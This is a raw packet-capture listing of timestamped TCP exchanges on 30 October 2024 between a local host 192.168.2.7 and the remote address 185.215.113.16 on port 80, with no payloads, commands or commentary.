Oct 30, 2024 04:35:42.052695036 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052710056 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.052742004 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.052802086 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.052964926 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.053035021 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.053040981 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.053056955 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.053071022 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.053096056 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.053117037 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.053121090 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.053132057 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.053147078 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.053163052 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.053178072 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.053198099 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.053248882 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.130326986 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130353928 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130371094 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130387068 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130417109 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.130443096 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130459070 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130471945 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.130475044 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130492926 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130496025 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.130518913 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.130548954 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.130570889 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130585909 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130599976 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130613089 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130616903 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.130636930 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.130672932 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.130686045 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130702019 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130723000 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130738974 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130742073 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.130774975 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.130805016 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130811930 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.130822897 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130839109 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130848885 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.130855083 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130870104 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.130892992 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.130935907 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130964041 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130979061 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.130980015 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.131012917 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.131046057 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.131094933 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131109953 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131124973 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131136894 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131150961 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131165028 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.131166935 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131184101 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131198883 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131221056 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131273985 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.131325006 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131340027 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131346941 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.131356955 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131434917 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131445885 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.131449938 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131468058 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131484032 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131555080 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.131627083 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131642103 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131655931 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131670952 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131685019 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131695032 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.131700039 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131716013 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131730080 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131746054 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131761074 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.131843090 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131849051 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.131859064 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131875992 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131910086 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.131959915 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131962061 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.131977081 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.131994009 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132009029 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132025003 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132051945 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.132101059 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132116079 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132129908 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132163048 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.132183075 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132199049 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132213116 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132221937 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.132229090 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132245064 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132260084 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132277012 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132289886 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.132350922 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.132472038 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132486105 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132500887 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132518053 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132533073 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132548094 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132554054 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.132585049 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.132621050 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.132623911 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132647991 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132663012 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132672071 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.132678032 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132683992 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.132694960 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132702112 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.132710934 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132729053 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.132730007 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132736921 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132807970 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.132875919 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.132920980 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132936954 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132952929 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132960081 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.132967949 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132985115 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.132997036 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.133019924 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.133029938 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.133035898 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.133052111 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.133065939 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.133100033 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169145107 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169189930 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169222116 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169224977 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169238091 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169253111 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169256926 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169272900 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169285059 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169348001 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169364929 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169379950 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169394970 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169409037 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169419050 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169424057 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169464111 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169491053 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169497967 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169507980 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169523954 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169531107 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169564962 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169585943 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169588089 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169604063 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169617891 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169641972 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169682026 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169729948 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169745922 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169760942 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169776917 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169787884 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169794083 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169832945 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169837952 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169853926 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169866085 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169907093 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169930935 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169948101 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169965029 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169974089 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.169981956 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.169997931 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.170022964 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.170067072 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.170073032 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.170089960 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.170105934 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.170121908 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.170125008 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.170166016 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247163057 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247216940 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247231007 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247253895 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247258902 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247271061 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247293949 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247353077 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247353077 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247370005 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247385979 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247401953 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247411013 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247416973 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247450113 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247488022 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247502089 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247519016 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247534990 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247536898 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247551918 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247567892 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247567892 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247591019 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247623920 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247627974 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247653008 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247668028 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247668982 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247684956 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247694016 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247713089 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247735977 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247770071 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247783899 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247797966 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247814894 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247816086 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247838974 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247840881 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247855902 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247905970 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.247957945 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247972012 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.247987032 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248002052 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248004913 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248018980 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248035908 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248054981 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248074055 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248090029 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248094082 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248106956 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248107910 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248157978 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248167992 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248183012 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248197079 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248209953 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248213053 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248255014 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248280048 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248361111 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248377085 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248393059 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248408079 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248409986 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248426914 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248430967 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248442888 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248460054 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248466969 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248487949 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248524904 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248538017 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248547077 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248574972 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248594999 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248662949 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248676062 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248692989 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248708010 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248708010 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248723984 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248730898 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248742104 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248758078 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248778105 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248791933 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248809099 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248810053 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248823881 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248835087 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248840094 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248867989 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248873949 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248889923 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248902082 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248905897 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248922110 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248939037 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248948097 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.248955011 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.248991966 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249011040 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249061108 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249089003 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249106884 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249134064 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249177933 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249192953 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249209881 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249222994 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249243975 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249260902 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249344110 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249358892 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249373913 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249387026 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249391079 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249404907 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249408960 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249424934 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249428988 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249440908 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249454975 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249465942 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249486923 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249510050 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249550104 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249564886 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249578953 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249593019 CET	49994	80	192.168.2.7	185.215.113.16
